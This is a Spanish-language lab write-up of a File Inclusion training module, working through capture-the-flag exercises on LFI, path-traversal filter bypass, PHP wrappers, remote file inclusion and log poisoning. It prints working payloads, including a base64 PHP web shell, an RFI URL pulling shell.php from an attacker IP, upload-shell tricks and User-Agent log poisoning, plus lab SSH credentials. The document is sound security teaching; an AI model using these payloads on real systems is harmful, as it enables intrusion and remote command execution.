File Inclusion
Last updated
Last updated
Este módulo me permitió aprender sobre los siguientes conceptos:
Local File Inclusion (LFI)
Path Traversal
Bypassing restricciones de LFI
Ejecución remota de comandos (RCE) a través de...
PHP wrappers
Remote File Inclusion (RFI)
Subida de archivos maliciosos
Log Poisoning
Cómo automatizar la explotación de un LFI
Cómo prevenir un LFI
Desplegamos el target y accedemos al servicio web a través del navegador.
Si hacemos click en Language, veremos un menú desplegable con dos opciones de idiomas: English y Spanish. Dependiendo del idioma que seleccionemos, se cargará un archivo php distinto; esto está controlado a través del parámetro language.
Intentamos acontecer un Local File Inclusion para cargar el archivo /etc/passwd de la máquina. Sin embargo, no funciona.
Para que funcione, primero debemos realizar un Directory Path Traversal, retrocediendo varios directorios hasta llegar a la raÃz y ahà si cargar el archivo.
Hacemos Ctrl + U
para ver el output más ordenado:
A partir del LFI, pudimos descubrir que el nombre del usuario a nivel de sistema que arranca con "b" es barry
.
La flag se encuentra en el archivo flag.txt localizado en el directorio /usr/share/flags.
En esta ocasión, la aplicación cuenta con más de un filtro para evitar la vulnerabilidad del Local File Inclusion. El objetivo es bypassearlas para leer /flag.txt.
Después de probar con múltiples payloads, entendà que se estaban aplicando dos restricciones:
Por un lado, el path debÃa comenzar sà o sà con el directorio languages; de lo contrario, se muestra un error.
Por el otro, la tÃpica secuencia del Directory Path Traversal no funciona. Es necesario utilizar ....// en lugar de ../ porque se está aplicando una sanitización. Como no es recursiva, no es difÃcil de burlar.
Lo que debemos introducir como valor del parámetro language quedarÃa asÃ: languages/....//....//....//....//flag.txt
.
El ejercicio consiste en fuzzear la aplicación web en búsqueda de otros scripts php, en particular, uno de configuración, donde se almacena la contraseña de la base de datos.
Con ffuf indicamos el diccionario y la URL donde queremos descubrir archivos con extensión php.
Encontramos el archivo configure.php
.
Si intentamos apuntar a este recurso directamente a través del LFI, no vamos a ser capaces de ver nada, porque se está interpretando el código.
Para poder ver el contenido del archivo, debemos emplear un wrapper de codificación en base64: ?language=php://filter/read=convert.base64-encode/resource=configure
Copiamos la cadena en base64 y la decodificamos:
En configure.php se encuentran credenciales para la base de datos blogdb. Ahà mismo podemos visualizar la flag.
La idea es llegar a ejecutar comandos en la máquina a través de un wrapper PHP y leer la flag en /.
Para conseguirlo, primero codificamos una web shell simple en base64.
Vamos a ejecutar comandos a través del wrapper data. Le pasamos la cadena en base64 y luego le pasamos el comando que queremos ejecutar al parámetro cmd de la web shell que definimos previamente: ?language=data://text/plain;base64,PD9waHAgc3lzdGVtICgkX0dFVFsiY21kIl0pOyA/Pgo=&cmd=id
En este caso, ejecutamos un id
.
Ahora, listamos el contenido existente en la raÃz con ls /
.
Finalmente, mostramos el contenido del archivo donde se almacena la flag:
cat /37809e2f8952f06139011994726d9ef1.txt
.
En lugar de un LFI, vamos a acontecer un Remote File Inclusion para llegar a una ejecución remota de comandos. Luego, hay que buscar la flag en alguno de los directorios de /.
Creamos un script php con la web shell.
Montamos un servidor http con python por el puerto 443.
Y averiguamos nuestra IP con el comando ifconfig
(el de la interfaz tun0).
Ahora, en el parámetro language vamos a cargar, no una ruta del sistema, sino un recurso externo que estamos hosteando desde nuestra máquina de atacantes.
A través del parámetro cmd que definimos en la web shell, controlamos el comando a ejecutar:
`?language=http://10.10.14.236:443/shell.php&cmd=whoami`
A su vez, veremos que nos llega una petición GET al servidor.
Ahora que verificamos que tenemos un RCE, buscamos la flag.
En la raÃz hay un directorio exercise, que parece ser el que contiene la flag.
Efectivamente, ya podemos ejecutar un cat /exercise/flag.txt
para ver la flag.
En la sección se presentan varias técnicas para llegar a un RCE.
Es importante notar que ahora la web tiene una sección llamada Profile Settings donde podemos subir un archivo.
GIF
Creamos un archivo GIF que en realidad contiene código PHP malicioso. Le añadimos la cabecera GIF8 por si se está comprobando a través de los magic numbers que se trata de un archivo de imagen.
Lo subimos.
Verificamos que ha sido subido de forma exitosa.
A través del LFI, apuntamos a /profile_images, que es la ruta donde se encuentran almacenados los archivos subidos y de ahà a shell.gif, donde a través del parámetro cmd controlamos el comando a ejecutar.
Ahora listamos el contenido de la raÃz.
Y visualizamos la flag.
ZIP
Creamos un comprimido dentro del cual se encuentra el archivo shell.php
Lo subimos.
Desde el LFI, usamos el wrapper zip para apuntar al archivo shell.php y ejecutar comandos a través del parámetro cmd: ?language=zip://./profile_images/shell.zip#shell.php&cmd=whoami
A tener en cuenta: hay que urlencodear el # y convertirlo a %23.
PHAR
Creamos un archivo shell.php con este contenido:
Lo compilamos como un archivo phar y lo renombramos a shell.jpg.
Subimos el archivo.
Y apuntamos a la siguiente URL, donde a través del parámetro cmd controlamos el comando a ejecutar, en este caso, un id
: http://94.237.56.188:44787/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt
Utilizar cualquiera de las técnicas explicadas en la sección para llegar a un RCE; la respuesta que debemos proporcionar es el output del comando pwd
.
PHP Session Poisoning
Abrimos las Herramientas del Desarrollador con Ctrl + Shift + I
y nos vamos a Storage donde se almacenan las cookies.
La información almacenada en el servidor relacionadas con la cookie generalmente se encuentran en /var/lib/php/sessions/sess_PHPSESSID
donde PHPSESSID debe ser reemplazado por el valor que se encuentra en Storage. En nuestro caso, serÃa /var/lib/php/sessions/sess_i1u4qh3va59osi0a7hjrhf1s9l
.
Apuntamos a este recurso mediante el LFI.
Hay dos valores: selected_language y preference. Tenemos en nuestro control selected_language, ya que depende del input que le pasemos al parámetro language.
Le pasamos como valor una web shell en PHP:
?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
Y ahora apuntamos al mismo recurso, añadiendo el parámetro cmd con el que controlamos el comando a ejecutar. En este caso, el comando pwd
.
La URL quedarÃa asÃ: http://83.136.255.150:41693/index.php?language=/var/lib/php/sessions/sess_i1u4qh3va59osi0a7hjrhf1s9l&cmd=pwd
Vale aclarar que esta forma solo sirve para ejecutar un único comando. Si quisiéramos ejecutar otro comando, tendrÃamos que repetir todo el proceso de pasarle la web shell en el parámetro language y apuntar al archivo nuevamente.
Server Log Poisoning
Probemos la otra alternativa.
Los logs de Apache suelen ubicarse en /var/log/apache2/access.log. Apuntamos a este recurso para asegurarnos de tener capacidad de lectura.
Abrimos BurpSuite, interceptamos la petición y la enviamos al Repeater. Alteramos el User-Agent para que contenga código PHP malicioso. ¿Por qué? Porque la web interpreta PHP y el User-Agent se ve reflejado en el archivo de logs de Apache.
A través del parámetro cmd, logramos conseguir ejecución remota de comandos.
Vemos los archivos de la raÃz para encontrar la flag.
Ya podemos visualizarla.
Aplicamos fuzzing para descubrir parámetros expuestos.
Descubrimos el parámetro view
. Ahora hay que intentar explotarlo con un diccionario de payloads para LFI tÃpicos y asà ser capaces de leer el archivo /flag.txt.
Yo utilicé el payload que requerÃa la mÃnima cantidad de ../
Y asà podemos ver la flag.
Nos conectamos al target por SSH con las credenciales htb-student:HTB_@cademy_stdnt!
¿Cuál es la ruta absoluta del archivo php.ini file para Apache?
/etc/php/7.4/apache2/php.ini
Al siguiente ejercicio hay que ir resolviéndolo paso a paso.
Primero, editar el archivo php.ini para bloquear la función system().
Para eso, hay que abrir el archivo con sudo nano /etc/php/7.4/apache2/php.ini
.
Con Ctrl + Q
buscamos por la cadena "disable_functions". Añadimos system.
Para que se apliquen los cambios, hay que reiniciar el servicio:
En /var/www/html, creamos un archivo shell.php que contenga una web shell.
Luego, intentamos ejecutar el código PHP que usa la función system. Para ello, realizamos una petición con cURL a shell.php
Si leemos el archivo /var/log/apache2/error.log veremos el siguiente mensaje: system() has been disabled for security
reasons.
Desplegamos el target. Accedemos al servicio web a través del navegador.
La sección de la página que se carga depende del parámetro page
.
Intenté aplicar un Directory Path Traversal para cargar el /etc/passwd, pero cualquier cadena que contenga ../ es detectada como input inválido.
Sin embargo, podemos usar el wrapper de codificación en base64 para ver el código del index.php.
http://94.237.54.170:47003/index.php?page=php://filter/read=convert.base64-encode/resource=index
Para poder copiar la cadena completa y decodificarla con base64 -d
desde consola, hice la petición con cURL.
Si inspeccionamos el código cuidadosamente, veremos una ruta que parece interesante.
Esa ruta nos dirige a un panel Admin.
A través del parámetro log
se controla qué tipo de log queremos cargar: Chat, Service o System.
Sin embargo, es vulnerable a LFI. Podemos ver, por ejemplo, el /etc/passwd de la máquina.
http://94.237.54.170:47003/ilf_admin/index.php?log=../../../../../etc/passwd
Entre los usuarios del sistema, está nginx, por lo que podemos asumir que este es el servidor web en uso.
Cargamos el archivo /etc/nginx/nginx.conf para ver más información sobre el servicio. Encontramos la ruta donde se almacenan los logs.
Si cargamos /var/log/nginx/access.log, queda a la vista que tenemos capacidad de lectura, por lo que lo siguiente que vamos a probar es un Log Poisoning.
Abrimos BurpSuite, activamos el proxy e interceptamos la petición. Modificamos el User-Agent para que contenga código PHP malicioso.
Luego, desde la página ejecutamos comandos a través del parámetro cmd que definimos en la web shell. En la raÃz hay un archivo que contiene la flag.
Ya podemos visualizarla.